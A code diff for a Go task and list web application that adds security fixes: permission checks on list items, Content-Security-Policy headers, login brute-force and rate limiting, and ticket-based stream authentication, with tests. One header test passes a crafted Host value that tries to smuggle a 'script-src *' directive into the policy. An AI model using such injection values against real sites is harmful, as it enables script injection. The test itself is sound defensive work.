||||
}
|
||||
|
||||
if req.Priority == "" {
|
||||
req.Priority = "high"
|
||||
}
|
||||
thought, err := s.store.CreateThought(user.ID, bodyText, req.Priority, source, dueDate)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
@@ -142,3 +186,50 @@ func (s *Server) handleWebhookIngest(w http.ResponseWriter, r *http.Request) {
|
||||
"thought": thought,
|
||||
})
|
||||
}
|
||||
|
||||
// ingestTask creates a task directly (scope webhook:task), optionally in a task list the owner of
|
||||
// the key may write to.
|
||||
func (s *Server) ingestTask(w http.ResponseWriter, userID, content, priority, source, dueDate, taskListID string) {
|
||||
if priority == "" {
|
||||
priority = "normal"
|
||||
}
|
||||
if taskListID != "" && !s.store.CanEditTaskList(userID, taskListID) {
|
||||
writeError(w, http.StatusForbidden, storage.ErrTaskListReadOnly.Error())
|
||||
return
|
||||
}
|
||||
thought, err := s.store.CreateThoughtWithDetails(userID, content, priority, source, dueDate, taskListID, "todo", "")
|
||||
if err != nil {
|
||||
writeStoreError(w, http.StatusBadRequest, err)
|
||||
return
|
||||
}
|
||||
task, err := s.store.UpdateThoughtTriage(userID, thought.ID, "keep", "task", "", dueDate, taskListID)
|
||||
if err != nil {
|
||||
writeStoreError(w, http.StatusBadRequest, err)
|
||||
return
|
||||
}
|
||||
s.wsHub.BroadcastToUsers(s.taskAudience(task), "TASK_CREATED", task)
|
||||
writeJSON(w, http.StatusCreated, map[string]interface{}{"status": "ingested", "task": task})
|
||||
}
|
||||
|
||||
// ingestListItem adds an item to a list (scope webhook:list) the owner of the key may write to.
|
||||
func (s *Server) ingestListItem(w http.ResponseWriter, userID, listID, content, category, quantity string) {
|
||||
if strings.TrimSpace(listID) == "" {
|
||||
writeError(w, http.StatusBadRequest, "Feld 'listId' ist für Listeneinträge erforderlich")
|
||||
return
|
||||
}
|
||||
if err := s.store.EnsureListItemsWritable(userID, listID, ""); err != nil {
|
||||
status := http.StatusNotFound
|
||||
if errors.Is(err, storage.ErrListReadOnly) {
|
||||
status = http.StatusForbidden
|
||||
}
|
||||
writeError(w, status, err.Error())
|
||||
return
|
||||
}
|
||||
item, err := s.store.CreateListItem(listID, content, category, quantity, 0, userID)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
s.wsHub.BroadcastListEvent(listID, "ITEM_CREATED", item)
|
||||
writeJSON(w, http.StatusCreated, map[string]interface{}{"status": "ingested", "item": item})
|
||||
}
|
||||
@@ -2,12 +2,14 @@ package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/sandrodach/mindsift/internal/auth"
|
||||
"github.com/sandrodach/mindsift/internal/domain"
|
||||
"github.com/sandrodach/mindsift/internal/storage"
|
||||
)
|
||||
|
||||
// --- REALTIME LISTS & SHARING ---
|
||||
@@ -138,6 +140,9 @@ func (s *Server) handleDeleteListShare(w http.ResponseWriter, r *http.Request) {
|
||||
func (s *Server) handleCreateListItem(w http.ResponseWriter, r *http.Request) {
|
||||
userID := auth.GetUserID(r.Context())
|
||||
listID := chi.URLParam(r, "id")
|
||||
if !s.listItemsWriteAllowed(w, r, "") {
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
Content string `json:"content"`
|
||||
Category string `json:"category"`
|
||||
@@ -162,6 +167,9 @@ func (s *Server) handleToggleListItem(w http.ResponseWriter, r *http.Request) {
|
||||
userID := auth.GetUserID(r.Context())
|
||||
listID := chi.URLParam(r, "id")
|
||||
itemID := chi.URLParam(r, "itemId")
|
||||
if !s.listItemsWriteAllowed(w, r, itemID) {
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
IsCompleted bool `json:"isCompleted"`
|
||||
@@ -190,6 +198,9 @@ func (s *Server) handleToggleListItem(w http.ResponseWriter, r *http.Request) {
|
||||
func (s *Server) handleUpdateListItem(w http.ResponseWriter, r *http.Request) {
|
||||
listID := chi.URLParam(r, "id")
|
||||
itemID := chi.URLParam(r, "itemId")
|
||||
if !s.listItemsWriteAllowed(w, r, itemID) {
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Content *string `json:"content"`
|
||||
@@ -214,6 +225,9 @@ func (s *Server) handleUpdateListItem(w http.ResponseWriter, r *http.Request) {
|
||||
func (s *Server) handleDeleteListItem(w http.ResponseWriter, r *http.Request) {
|
||||
listID := chi.URLParam(r, "id")
|
||||
itemID := chi.URLParam(r, "itemId")
|
||||
if !s.listItemsWriteAllowed(w, r, itemID) {
|
||||
return
|
||||
}
|
||||
|
||||
_, err := s.store.DeleteListItem(itemID)
|
||||
if err != nil {
|
||||
@@ -230,6 +244,9 @@ func (s *Server) handleDeleteListItem(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
func (s *Server) handleClearCompletedItems(w http.ResponseWriter, r *http.Request) {
|
||||
listID := chi.URLParam(r, "id")
|
||||
if !s.listItemsWriteAllowed(w, r, "") {
|
||||
return
|
||||
}
|
||||
removed, err := s.store.ClearCompletedListItems(listID)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
@@ -245,6 +262,9 @@ func (s *Server) handleClearCompletedItems(w http.ResponseWriter, r *http.Reques
|
||||
|
||||
func (s *Server) handleReorderListItems(w http.ResponseWriter, r *http.Request) {
|
||||
listID := chi.URLParam(r, "id")
|
||||
if !s.listItemsWriteAllowed(w, r, "") {
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
Items []domain.ListItemReorderItem `json:"items"`
|
||||
}
|
||||
@@ -264,3 +284,18 @@ func (s *Server) handleReorderListItems(w http.ResponseWriter, r *http.Request)
|
||||
})
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"success": true})
|
||||
}
|
||||
|
||||
// listItemsWriteAllowed answers 404 (no access, or item not in this list) or 403 (viewer) and returns
|
||||
// false; every request changing list items goes through it.
|
||||
func (s *Server) listItemsWriteAllowed(w http.ResponseWriter, r *http.Request, itemID string) bool {
|
||||
err := s.store.EnsureListItemsWritable(auth.GetUserID(r.Context()), chi.URLParam(r, "id"), itemID)
|
||||
switch {
|
||||
case err == nil:
|
||||
return true
|
||||
case errors.Is(err, storage.ErrListReadOnly):
|
||||
writeError(w, http.StatusForbidden, err.Error())
|
||||
default:
|
||||
writeError(w, http.StatusNotFound, err.Error())
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -72,7 +72,7 @@ func (s *Server) handleDeleteTaskList(w http.ResponseWriter, r *http.Request) {
|
||||
listID := chi.URLParam(r, "id")
|
||||
audienceBefore := s.store.GetTaskListUserIDs(listID)
|
||||
if err := s.store.DeleteTaskList(userID, listID); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
writeError(w, http.StatusNotFound, err.Error())
|
||||
return
|
||||
}
|
||||
s.broadcastTaskListChange(listID, audienceBefore, "TASK_LIST_DELETED")
|
||||
|
||||
@@ -52,7 +52,10 @@ func (s *Server) handleCreateTeamDirect(w http.ResponseWriter, r *http.Request)
|
||||
return
|
||||
}
|
||||
// Automatically add creator to team as group admin
|
||||
_ = s.store.AddTeamMember(team.ID, userID, "admin")
|
||||
if err := s.store.AddTeamMember(team.ID, userID, "admin"); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
team.Members, _ = s.store.GetTeamMembers(team.ID)
|
||||
writeJSON(w, http.StatusCreated, team)
|
||||
}
|
||||
|
||||
@@ -60,6 +60,10 @@ func (s *Server) handleCaptureInbox(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
|
||||
if !requireDeliveryScope(w, r, strings.TrimSpace(req.Target)) {
|
||||
return
|
||||
}
|
||||
|
||||
thought, err := s.store.CreateThoughtWithDetails(userID, req.Content, req.Priority, source, dueDate, taskListID, "todo", "")
|
||||
if err != nil {
|
||||
writeStoreError(w, http.StatusBadRequest, err)
|
||||
@@ -280,7 +284,10 @@ func (s *Server) handleUpdateThought(w http.ResponseWriter, r *http.Request) {
|
||||
func (s *Server) handleUnlinkEnhancedTask(w http.ResponseWriter, r *http.Request) {
|
||||
userID := auth.GetUserID(r.Context())
|
||||
thoughtID := chi.URLParam(r, "id")
|
||||
s.store.UnlinkTaskFromDocBlock(userID, thoughtID)
|
||||
if err := s.store.UnlinkTaskFromDocBlock(userID, thoughtID); err != nil {
|
||||
writeStoreError(w, http.StatusNotFound, err)
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"unlinked": true})
|
||||
}
|
||||
|
||||
@@ -293,7 +300,6 @@ func (s *Server) handleDeleteThought(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
audience := s.taskAudience(th)
|
||||
s.store.UnlinkTaskFromDocBlock(userID, thoughtID)
|
||||
if err := s.store.DeleteThought(userID, thoughtID); err != nil {
|
||||
writeStoreError(w, http.StatusInternalServerError, err)
|
||||
return
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// securityHeaders protects the browser side (FLAW-29):
|
||||
// - Content-Security-Policy: scripts only from MindSift itself, so injected markup cannot run code;
|
||||
// styles may be inline (custom themes, style attributes); images also from https (avatar URLs);
|
||||
// connections only to this server, including its WebSocket.
|
||||
// - frame-ancestors 'none' / X-Frame-Options: no embedding in other sites (clickjacking).
|
||||
// - nosniff, a same-origin referrer and a permissions policy that only allows the microphone
|
||||
// (speech input) for MindSift itself.
|
||||
func (s *Server) securityHeaders(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
h := w.Header()
|
||||
h.Set("Content-Security-Policy", contentSecurityPolicy(r.Host))
|
||||
h.Set("X-Frame-Options", "DENY")
|
||||
h.Set("X-Content-Type-Options", "nosniff")
|
||||
h.Set("Referrer-Policy", "same-origin")
|
||||
h.Set("Permissions-Policy", "microphone=(self), camera=(), geolocation=(), payment=()")
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
func contentSecurityPolicy(host string) string {
|
||||
connect := "'self'"
|
||||
// Older Safari versions do not count ws:/wss: as 'self'
|
||||
if host != "" && !strings.ContainsAny(host, " ;'\"") {
|
||||
connect += " wss://" + host + " ws://" + host
|
||||
}
|
||||
return strings.Join([]string{
|
||||
"default-src 'self'",
|
||||
"script-src 'self'",
|
||||
"style-src 'self' 'unsafe-inline'",
|
||||
"img-src 'self' data: blob: https:",
|
||||
"font-src 'self' data:",
|
||||
"connect-src " + connect,
|
||||
"worker-src 'self'",
|
||||
"manifest-src 'self'",
|
||||
"media-src 'self' blob:",
|
||||
"object-src 'none'",
|
||||
"base-uri 'self'",
|
||||
"form-action 'self'",
|
||||
"frame-ancestors 'none'",
|
||||
}, "; ")
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSecurityHeaders(t *testing.T) {
|
||||
srv, _, _ := setupTestServer(t)
|
||||
rec := httptest.NewRecorder()
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil)
|
||||
req.Host = "notes.example.com"
|
||||
srv.Router().ServeHTTP(rec, req)
|
||||
csp := rec.Header().Get("Content-Security-Policy")
|
||||
for _, want := range []string{"script-src 'self'", "frame-ancestors 'none'", "object-src 'none'", "wss://notes.example.com"} {
|
||||
if !strings.Contains(csp, want) {
|
||||
t.Errorf("CSP lacks %q: %s", want, csp)
|
||||
}
|
||||
}
|
||||
if strings.Contains(csp, "unsafe-eval") || strings.Contains(strings.Split(strings.Split(csp, "script-src")[1], ";")[0], "unsafe-inline") {
|
||||
t.Errorf("scripts must not allow inline or eval: %s", csp)
|
||||
}
|
||||
for k, v := range map[string]string{"X-Frame-Options": "DENY", "X-Content-Type-Options": "nosniff", "Referrer-Policy": "same-origin"} {
|
||||
if rec.Header().Get(k) != v {
|
||||
t.Errorf("%s = %q, want %q", k, rec.Header().Get(k), v)
|
||||
}
|
||||
}
|
||||
// A Host header with quotes or semicolons must not be able to extend the policy
|
||||
if p := contentSecurityPolicy("evil.com; script-src *"); strings.Contains(p, "evil.com") {
|
||||
t.Errorf("host must not be copied into the policy unchecked: %s", p)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,187 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"math"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Brute-force protection for the login (FLAW-09). Failed attempts are counted in memory in three
|
||||
// buckets; when one is full, logins for it are refused with 429 for the lock time:
|
||||
// account + IP 3 failures the attacker's address is locked out of this account, the real owner
|
||||
// logging in from elsewhere is not
|
||||
// account 20 failures stops attacks spread over many addresses
|
||||
// IP 30 failures stops one address trying many accounts
|
||||
// A bucket counts failures within the lock window and starts over afterwards. A successful login
|
||||
// clears the account buckets; a password reset clears the account completely. LOGIN_PROTECTION=false
|
||||
// switches all of it off. Counters are lost on restart, which is fine for this purpose.
|
||||
|
||||
const (
|
||||
loginLockWindow = 15 * time.Minute
|
||||
loginLimitAccountIP = 3
|
||||
loginLimitAccount = 20
|
||||
loginLimitIP = 30
|
||||
loginGuardCleanupEach = 5 * time.Minute
|
||||
)
|
||||
|
||||
type loginBucket struct {
|
||||
count int
|
||||
windowStart time.Time
|
||||
lockedUntil time.Time
|
||||
}
|
||||
|
||||
type loginGuard struct {
|
||||
enabled bool
|
||||
now func() time.Time
|
||||
|
||||
mu sync.Mutex
|
||||
buckets map[string]*loginBucket
|
||||
lastCleanup time.Time
|
||||
}
|
||||
|
||||
func newLoginGuard(enabled bool) *loginGuard {
|
||||
return &loginGuard{enabled: enabled, now: time.Now, buckets: map[string]*loginBucket{}}
|
||||
}
|
||||
|
||||
type loginKey struct {
|
||||
key string
|
||||
limit int
|
||||
}
|
||||
|
||||
// loginKeys: account is the user ID (or the typed login for unknown names, so both look the same).
|
||||
// The IP buckets are left out when the IP is not known (proxy without client header).
|
||||
func loginKeys(account string, ip clientIPInfo) []loginKey {
|
||||
keys := []loginKey{{"acct:" + account, loginLimitAccount}}
|
||||
if !ip.viaProxyWithoutHeader && ip.ip != "" {
|
||||
keys = append(keys, loginKey{"acctip:" + account + "|" + ip.ip, loginLimitAccountIP}, loginKey{"ip:" + ip.ip, loginLimitIP})
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
// lockedFor returns how long the login is still refused (0 = allowed).
|
||||
func (g *loginGuard) lockedFor(account string, ip clientIPInfo) time.Duration {
|
||||
if !g.enabled {
|
||||
return 0
|
||||
}
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
now := g.now()
|
||||
var wait time.Duration
|
||||
for _, k := range loginKeys(account, ip) {
|
||||
if b := g.buckets[k.key]; b != nil && b.lockedUntil.After(now) && b.lockedUntil.Sub(now) > wait {
|
||||
wait = b.lockedUntil.Sub(now)
|
||||
}
|
||||
}
|
||||
return wait
|
||||
}
|
||||
|
||||
func (g *loginGuard) recordFailure(account string, ip clientIPInfo) {
|
||||
if !g.enabled {
|
||||
return
|
||||
}
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
now := g.now()
|
||||
g.cleanupLocked(now)
|
||||
for _, k := range loginKeys(account, ip) {
|
||||
b := g.buckets[k.key]
|
||||
if b == nil || now.Sub(b.windowStart) > loginLockWindow {
|
||||
b = &loginBucket{windowStart: now}
|
||||
g.buckets[k.key] = b
|
||||
}
|
||||
b.count++
|
||||
if b.count >= k.limit {
|
||||
b.lockedUntil = now.Add(loginLockWindow)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// recordSuccess clears the counters of this account (the IP bucket stays, so one valid login cannot
|
||||
// be used to keep trying other accounts).
|
||||
func (g *loginGuard) recordSuccess(account string, ip clientIPInfo) {
|
||||
if !g.enabled {
|
||||
return
|
||||
}
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
delete(g.buckets, "acct:"+account)
|
||||
delete(g.buckets, "acctip:"+account+"|"+ip.ip)
|
||||
}
|
||||
|
||||
// unlockAccount lifts every lock of the account, e.g. after a password reset by mail or by an admin.
|
||||
func (g *loginGuard) unlockAccount(account string) {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
for k := range g.buckets {
|
||||
if k == "acct:"+account || strings.HasPrefix(k, "acctip:"+account+"|") {
|
||||
delete(g.buckets, k)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (g *loginGuard) cleanupLocked(now time.Time) {
|
||||
if now.Sub(g.lastCleanup) < loginGuardCleanupEach {
|
||||
return
|
||||
}
|
||||
g.lastCleanup = now
|
||||
for k, b := range g.buckets {
|
||||
if now.Sub(b.windowStart) > loginLockWindow && !b.lockedUntil.After(now) {
|
||||
delete(g.buckets, k)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Other endpoints that can be abused in bulk are limited per address in the same buckets (FLAW-39).
|
||||
// Every request counts here, not only failures: registration (also guessing invite codes) and
|
||||
// "forgot password" (mail flood to many addresses).
|
||||
const (
|
||||
limitRegisterPerIP = 20
|
||||
limitForgotPerIP = 10
|
||||
)
|
||||
|
||||
// throttle counts one request of this kind from the visitor's address and returns how long further
|
||||
// requests are refused (0 = this one may go ahead). Unknown addresses are not limited.
|
||||
func (g *loginGuard) throttle(kind string, ip clientIPInfo, limit int) time.Duration {
|
||||
if !g.enabled || ip.viaProxyWithoutHeader || ip.ip == "" {
|
||||
return 0
|
||||
}
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
now := g.now()
|
||||
g.cleanupLocked(now)
|
||||
key := kind + ":" + ip.ip
|
||||
b := g.buckets[key]
|
||||
if b != nil && b.lockedUntil.After(now) {
|
||||
return b.lockedUntil.Sub(now)
|
||||
}
|
||||
if b == nil || now.Sub(b.windowStart) > loginLockWindow {
|
||||
b = &loginBucket{windowStart: now}
|
||||
g.buckets[key] = b
|
||||
}
|
||||
b.count++
|
||||
if b.count >= limit {
|
||||
b.lockedUntil = now.Add(loginLockWindow)
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func writeThrottled(w http.ResponseWriter, wait time.Duration) {
|
||||
w.Header().Set("Retry-After", strconv.Itoa(int(math.Ceil(wait.Seconds()))))
|
||||
writeError(w, http.StatusTooManyRequests,
|
||||
fmt.Sprintf("Zu viele Anfragen von dieser Adresse. Bitte versuche es in %d Minuten erneut.", int(math.Ceil(wait.Minutes()))))
|
||||
}
|
||||
|
||||
func writeLoginLocked(w http.ResponseWriter, wait time.Duration) {
|
||||
minutes := int(math.Ceil(wait.Minutes()))
|
||||
w.Header().Set("Retry-After", strconv.Itoa(int(math.Ceil(wait.Seconds()))))
|
||||
unit := "Minuten"
|
||||
if minutes == 1 {
|
||||
unit = "Minute"
|
||||
}
|
||||
writeError(w, http.StatusTooManyRequests,
|
||||
fmt.Sprintf("Zu viele fehlgeschlagene Anmeldeversuche. Die Anmeldung ist für noch %d %s gesperrt.", minutes, unit))
|
||||
}
|
||||
@@ -0,0 +1,136 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/sandrodach/mindsift/internal/auth"
|
||||
)
|
||||
|
||||
func TestResolveClientIP(t *testing.T) {
|
||||
h := func(kv ...string) http.Header {
|
||||
out := http.Header{}
|
||||
for i := 0; i < len(kv); i += 2 {
|
||||
out.Set(kv[i], kv[i+1])
|
||||
}
|
||||
return out
|
||||
}
|
||||
private := parseProxyTrust("private")
|
||||
cases := []struct {
|
||||
name string
|
||||
trust proxyTrust
|
||||
peer string
|
||||
hdr http.Header
|
||||
want string
|
||||
noHdr bool
|
||||
}{
|
||||
{"proxy in docker network passes the visitor", private, "172.18.0.2", h("X-Forwarded-For", "203.0.113.7"), "203.0.113.7", false},
|
||||
{"spoofed left part of the chain is ignored", private, "172.18.0.2", h("X-Forwarded-For", "1.2.3.4, 203.0.113.7, 10.0.0.5"), "203.0.113.7", false},
|
||||
{"X-Real-IP from a trusted proxy", private, "127.0.0.1", h("X-Real-IP", "198.51.100.9"), "198.51.100.9", false},
|
||||
{"direct visitor cannot fake an address", private, "203.0.113.50", h("X-Forwarded-For", "1.2.3.4"), "203.0.113.50", false},
|
||||
{"proxy without header is flagged", private, "172.18.0.2", h(), "172.18.0.2", true},
|
||||
{"all: headers always believed", parseProxyTrust("all"), "203.0.113.50", h("X-Forwarded-For", "1.2.3.4, 5.6.7.8"), "1.2.3.4", false},
|
||||
{"none: headers never believed", parseProxyTrust("none"), "172.18.0.2", h("X-Forwarded-For", "1.2.3.4"), "172.18.0.2", false},
|
||||
{"external proxy by CIDR", parseProxyTrust("private,198.51.100.0/24"), "198.51.100.1", h("CF-Connecting-IP", "203.0.113.8"), "203.0.113.8", false},
|
||||
}
|
||||
for _, c := range cases {
|
||||
got := c.trust.resolveClientIP(c.peer, c.hdr)
|
||||
if got.ip != c.want || got.viaProxyWithoutHeader != c.noHdr {
|
||||
t.Errorf("%s: got %+v, want %s (noHeader=%v)", c.name, got, c.want, c.noHdr)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoginGuardBuckets(t *testing.T) {
|
||||
g := newLoginGuard(true)
|
||||
now := time.Date(2026, 10, 29, 12, 0, 0, 0, time.UTC)
|
||||
g.now = func() time.Time { return now }
|
||||
attacker := clientIPInfo{ip: "203.0.113.66"}
|
||||
owner := clientIPInfo{ip: "198.51.100.10"}
|
||||
|
||||
for i := 0; i < loginLimitAccountIP; i++ {
|
||||
g.recordFailure("usr_admin", attacker)
|
||||
}
|
||||
if g.lockedFor("usr_admin", attacker) != loginLockWindow {
|
||||
t.Fatalf("3 failures from one address must lock that address out of the account")
|
||||
}
|
||||
if g.lockedFor("usr_admin", owner) != 0 {
|
||||
t.Fatalf("the owner logging in from elsewhere must not be locked out")
|
||||
}
|
||||
|
||||
// Spread over many addresses: the account itself locks at 20
|
||||
for i := 0; i < loginLimitAccount; i++ {
|
||||
g.recordFailure("usr_admin", clientIPInfo{ip: "192.0.2." + string(rune('0'+i%10)) + string(rune('0'+i/10))})
|
||||
}
|
||||
if g.lockedFor("usr_admin", owner) == 0 {
|
||||
t.Fatalf("20 failures across addresses must lock the account")
|
||||
}
|
||||
g.unlockAccount("usr_admin")
|
||||
if g.lockedFor("usr_admin", owner) != 0 || g.lockedFor("usr_admin", attacker) != 0 {
|
||||
t.Fatalf("unlockAccount must lift account and account+IP locks")
|
||||
}
|
||||
|
||||
// The lock ends by itself
|
||||
for i := 0; i < loginLimitAccountIP; i++ {
|
||||
g.recordFailure("usr_ben", attacker)
|
||||
}
|
||||
now = now.Add(loginLockWindow + time.Second)
|
||||
if g.lockedFor("usr_ben", attacker) != 0 {
|
||||
t.Fatalf("lock must expire after the window")
|
||||
}
|
||||
|
||||
// Without a known client IP only the account bucket counts
|
||||
proxied := clientIPInfo{ip: "172.18.0.2", viaProxyWithoutHeader: true}
|
||||
for i := 0; i < 10; i++ {
|
||||
g.recordFailure("usr_carla", proxied)
|
||||
}
|
||||
if g.lockedFor("usr_carla", proxied) != 0 {
|
||||
t.Fatalf("per-IP limits must not apply when the proxy hides the client IP")
|
||||
}
|
||||
|
||||
off := newLoginGuard(false)
|
||||
for i := 0; i < 50; i++ {
|
||||
off.recordFailure("usr_admin", attacker)
|
||||
}
|
||||
if off.lockedFor("usr_admin", attacker) != 0 {
|
||||
t.Fatalf("LOGIN_PROTECTION=false must never lock")
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoginLockedAfterThreeFailures(t *testing.T) {
|
||||
srv, store, _ := setupTestServer(t)
|
||||
router := srv.Router()
|
||||
_, _ = store.CreateUser("lock@example.com", mustHash(t, "richtig123"), "Lock", "member")
|
||||
login := func(pw, from string) *httptest.ResponseRecorder {
|
||||
req := httptest.NewRequest("POST", "/api/v1/auth/login", strings.NewReader(`{"login":"lock@example.com","password":"`+pw+`"}`))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.RemoteAddr = from + ":4711"
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
return rec
|
||||
}
|
||||
for i := 0; i < 3; i++ {
|
||||
if rec := login("falsch", "203.0.113.66"); rec.Code != http.StatusUnauthorized {
|
||||
t.Fatalf("attempt %d: want 401, got %d", i+1, rec.Code)
|
||||
}
|
||||
}
|
||||
rec := login("richtig123", "203.0.113.66")
|
||||
if rec.Code != http.StatusTooManyRequests || rec.Header().Get("Retry-After") == "" || !strings.Contains(rec.Body.String(), "15 Minuten") {
|
||||
t.Fatalf("locked login: want 429 with Retry-After, got %d %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if rec := login("richtig123", "198.51.100.10"); rec.Code != http.StatusOK {
|
||||
t.Fatalf("owner from another address must still log in, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func mustHash(t *testing.T, pw string) string {
|
||||
t.Helper()
|
||||
h, err := auth.HashPassword(pw)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return h
|
||||
}
|
||||
@@ -29,6 +29,10 @@ func (s *Server) handleForgotPassword(w http.ResponseWriter, r *http.Request) {
|
||||
writeError(w, http.StatusServiceUnavailable, "Passwort-Zurücksetzen ist auf diesem Server nicht eingerichtet. Bitte wende dich an die Administration.")
|
||||
return
|
||||
}
|
||||
if wait := s.loginGuard.throttle("forgot", clientIPFrom(r), limitForgotPerIP); wait > 0 {
|
||||
writeThrottled(w, wait)
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
Email string `json:"email"`
|
||||
}
|
||||
@@ -68,8 +72,8 @@ func (s *Server) handleResetPassword(w http.ResponseWriter, r *http.Request) {
|
||||
writeError(w, http.StatusBadRequest, storage.ErrResetTokenInvalid.Error())
|
||||
return
|
||||
}
|
||||
if len(req.Password) < 4 {
|
||||
writeError(w, http.StatusBadRequest, "Das Passwort braucht mindestens 4 Zeichen")
|
||||
if err := auth.ValidatePassword(req.Password); err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
hash, err := auth.HashPassword(req.Password)
|
||||
@@ -86,6 +90,8 @@ func (s *Server) handleResetPassword(w http.ResponseWriter, r *http.Request) {
|
||||
writeError(w, http.StatusInternalServerError, "Passwort konnte nicht gespeichert werden")
|
||||
return
|
||||
}
|
||||
s.loginGuard.unlockAccount(userID)
|
||||
s.wsHub.DisconnectUser(userID)
|
||||
slog.Info("Passwort per E-Mail-Link zurückgesetzt", "user_id", userID)
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"ok": true})
|
||||
}
|
||||
+18
-19
@@ -9,28 +9,27 @@ import (
|
||||
"github.com/sandrodach/mindsift/internal/auth"
|
||||
)
|
||||
|
||||
// authenticateUserFromReq authenticates a live stream: a one-time ticket (?ticket=, browsers) or a
|
||||
// session in the Authorization header (other clients). Session tokens in the URL are not accepted any
|
||||
// more (FLAW-22), API keys never (streams carry the user's data, keys only deliver).
|
||||
func (s *Server) authenticateUserFromReq(r *http.Request) string {
|
||||
token := r.URL.Query().Get("token")
|
||||
if token == "" {
|
||||
if authHdr := r.Header.Get("Authorization"); strings.HasPrefix(authHdr, "Bearer ") {
|
||||
token = strings.TrimPrefix(authHdr, "Bearer ")
|
||||
if id := r.URL.Query().Get("ticket"); id != "" {
|
||||
tk, ok := s.streamTickets.consume(id)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
u, err := s.store.GetUserByID(tk.userID)
|
||||
if err != nil || u == nil || !u.IsActive || u.TokenVersion != tk.tokenVersion || !s.store.SessionActive(tk.sessionID, u.ID) {
|
||||
return ""
|
||||
}
|
||||
return u.ID
|
||||
}
|
||||
if token != "" {
|
||||
if strings.HasPrefix(token, "mindsift_sec_") {
|
||||
if user, err := s.store.ValidateAPIKeyAndGetUser(token); err == nil && user != nil && user.IsActive {
|
||||
return user.ID
|
||||
}
|
||||
}
|
||||
if claims, err := auth.ValidateToken(s.cfg.JWTSecret, token); err == nil && claims != nil {
|
||||
if !s.store.IsTokenRevoked(token) {
|
||||
if user, err := s.store.GetUserByID(claims.UserID); err == nil && user != nil && user.IsActive {
|
||||
if claims.TokenVersion == 0 || claims.TokenVersion == user.TokenVersion {
|
||||
return claims.UserID
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
token := ""
|
||||
if authHdr := r.Header.Get("Authorization"); strings.HasPrefix(authHdr, "Bearer ") {
|
||||
token = strings.TrimPrefix(authHdr, "Bearer ")
|
||||
}
|
||||
if user, keyScopes := s.authenticateToken(token); user != nil && keyScopes == nil {
|
||||
return user.ID
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
@@ -52,7 +52,7 @@ func newTestUser(t *testing.T, store *storage.Store, email string) (*domain.User
|
||||
if err != nil {
|
||||
t.Fatalf("create user: %v", err)
|
||||
}
|
||||
tok, err := auth.GenerateToken(testJWTSecret, u.ID, u.Email, u.DisplayName, u.TokenVersion)
|
||||
tok, err := auth.GenerateToken(testJWTSecret, u.ID, u.Email, u.DisplayName, u.TokenVersion, testSession(t, store, u.ID))
|
||||
if err != nil {
|
||||
t.Fatalf("token: %v", err)
|
||||
}
|
||||
